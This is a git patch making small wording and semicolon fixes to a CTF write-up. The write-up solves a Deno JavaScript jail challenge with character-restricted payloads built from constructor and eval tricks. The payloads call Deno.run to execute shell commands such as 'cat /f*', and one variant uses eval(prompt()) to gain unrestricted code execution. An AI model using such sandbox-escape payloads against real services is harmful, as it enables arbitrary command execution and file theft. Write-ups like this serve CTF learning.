From 177152d03a46e39e1a3101a33eec0d962221d81a Mon Sep 17 00:00:00 2001 From: caandt Date: Tue, 15 Oct 2024 20:53:12 -0500 Subject: [PATCH] nits --- ctf/tcp1p/misc_denis_js.md | 40 +++++++++++++++++++------------------- 1 file changed, 20 insertions(+), 20 deletions(-) diff --git a/ctf/tcp1p/misc_denis_js.md b/ctf/tcp1p/misc_denis_js.md index f736b63..40ba418 100644 --- a/ctf/tcp1p/misc_denis_js.md +++ b/ctf/tcp1p/misc_denis_js.md @@ -149,7 +149,7 @@ let con = 'constructor' eval(`_=${str_src};` + con); ``` -While this works in Node.js, Deno throws an `ReferenceError`. This is because Deno runs in strict mode, which requires us to declare `_` before assigning to it. However, we cannot use any of the keywords to declare a variable as they require us to use letters. +While this works in Node.js, Deno throws a `ReferenceError`. This is because Deno runs in strict mode, which requires us to declare `_` before assigning to it. However, we cannot use any of the keywords to declare a variable as they require us to use letters. We cannot overwrite an existing variable either, as there aren't any without letters. We can note that `_` is already defined when running a REPL, but that does not help us since the challenge is not run in one. @@ -204,10 +204,10 @@ function encode(s, source, var_name='_') { } } if (t) result.push(`"${t}"`); - return result.join('+') + return result.join('+'); } // over the course of the iife, we will concatenate various strings to the first argument -let args = "''+!1+!0+{}+0[0]" +let args = "''+!1+!0+{}+0[0]"; let src1 = eval(args); let src2 = src1 + String; let src3 = src2 + '6p'; @@ -230,13 +230,13 @@ let body = [ `_+=$_($)+0[$$]`, // Function("Deno.run({cmd:['ls','/']})")() `$(${encode("Deno.run({cmd:['ls','/']})", src4)})()` -].join(',') +].join(','); // 328 characters let payload = `((_,$,$$)=>(${body}))(${args})`; -console.log(payload) +console.log(payload); ``` -We can execute `ls /`, but we can't do much more than that. We obviously do not have enough characters to use the full name of the flag. Additionally, `Deno.run` does not interpret cmd as a shell command, so trying something like `od /*` will try to read the file named `/*` instead of globbing all files in `/`. For that, we would need to use `{cmd:['sh','-c','od /*']}`, which is over the limit. +We can execute `ls /`, but we can't do much more than that. We obviously do not have enough characters to use the full name of the flag. Additionally, `Deno.run` does not interpret `cmd` as a shell command, so trying something like `od /*` will try to read the file named `/*` instead of globbing all files in `/`. For that, we would need to use `sh -c "od /*"`, which is over the limit. We need to rethink our approach. After a lot of trial and error, I eventually turned my attention to the `btoa` builtin function (binary string to base64 ascii). My immediate idea was to find a string that would contain `D` in its base64, to avoid getting `escape` (and `p` and `String`). @@ -266,17 +266,17 @@ If we notice that `btoa` is implemented in JavaScript instead of native code tho This alone contains all of the characters we need, simplifying our payload dramatically: ```js -let args = "''+!1+!0+{}+0[0]" +let args = "''+!1+!0+{}+0[0]"; let src1 = eval(args); let src2 = '' + btoa; let body = [ `$$=(_=>_)[${encode('constructor', src1)}]`, `$$(${encode("$=''+btoa", src1)})()`, `$$(${encode("Deno.run({cmd:['sh','-c','cat /f*']})", src2, '$')})()` -].join(',') +].join(','); // 278 characters -let payload = `((_,$$)=>(${body}))(${args})` -console.log(payload) +let payload = `((_,$$)=>(${body}))(${args})`; +console.log(payload); ``` Now we just send our payload to the challenge and get the flag: @@ -307,16 +307,16 @@ function octal(s) { return "'" + s.split('').map(c => c.match(/[a-zA-Z]/) ? '\\\\' + c.charCodeAt().toString(8) : c - ).join('') + "'" + ).join('') + "'"; } -let args = "''+!1+!0+{}+0[0]" +let args = "''+!1+!0+{}+0[0]"; let src = eval(args); let body = [ `_=(_=>_)[${encode('constructor', src)}]`, `_('_',"_(${octal("Deno.run({cmd:[`sh`,`-c`,`cat /f*`]})")})()")(_)`, -].join(',') +].join(','); // 219 characters -let payload = `(_=>(${body}))(${args})` +let payload = `(_=>(${body}))(${args})`; ``` @@ -329,7 +329,7 @@ Looking over Deno's builtin functions, `prompt` does exactly what we want, takin Therefore, we can just do `Function("eval(prompt())")()` and type in the rest of our payload with no restrictions. A solution using this technique is as follows: ```js -let args = "''+!1+!0+{}+0[0]" +let args = "''+!1+!0+{}+0[0]"; let src1 = eval(args); let src2 = src1 + String + Number; let src3 = src2 + '6p'; @@ -337,7 +337,7 @@ let body = [ `_+=_[$=${encode('constructor', src1)}]+0[$]`, `_+=211[${encode('toString', src2)}](31)`, `_[$][$](${encode('eval(prompt())', src3)})()` -].join(',') +].join(','); // 236 characters let payload = `((_,$)=>(${body}))(${args})`; ``` @@ -345,8 +345,8 @@ let payload = `((_,$)=>(${body}))(${args})`; Testing this locally, we see that this does in fact work: ```console -$ deno dist/app.t -Enter your name: ((_,$)=>(_+=_[$=_[14]+_[10]+_[25]+_[3]+_[5]+_[6]+_[7]+_[14]+_[5]+_[10]+_[6]]+0[$],_+=211[_[5]+_[10]+_[42]+_[5]+_[6]+_[29]+_[25]+_[47]](31),_[$][$](_[4]+_[58]+_[1]+_[2]+"("+_[104]+_[6]+_[10]+_[79]+_[104]+_[5]+"())")()))(''+!1+!0+{}+0[0]) +$ deno dist/app.ts +Enter your name: ((_,$)=>(_+=_[$=_[14]+_[10]+_[25]+_[3]+_[5]+_[6]+_[7]+_[14]+... Prompt console.log('hiiiiiiiiiii') hiiiiiiiiiii ``` @@ -384,9 +384,9 @@ This doesn't actually work though, since `Function` code is evaluated in the glo ### Improving solution reliability -If you actually try running the solution, it probably won't print out anything on the first attempt. This is because ongoing subprocesses from `Deno.run` do not prevent the program from terminating. +If you actually try running the solution, it probably won't print out anything on the first attempt. This is because ongoing subprocesses from `Deno.run` do not prevent the program from terminating, and our shell command doesn't have enough time to print to the screen before the program ends. -It took me about two hours after finding a working solution before I realized this was the issue. By chance, I tried `sh -c ". /f* 2>&1"` which has a much higher success rate. +It took me about two hours after finding a working solution before I realized this was the issue. Eventually, I tried `sh -c ". /f* 2>&1"` which has a much higher success rate. When executing `sh -c "cat /f*"`, Deno first needs to spawn `sh`, which then spawns `cat`. `.` is a shell builtin, preventing the second process spawn. This problem didn't show up for me in the unfixed challenge since I just ran `ls` and `cat` separately, without using `sh`.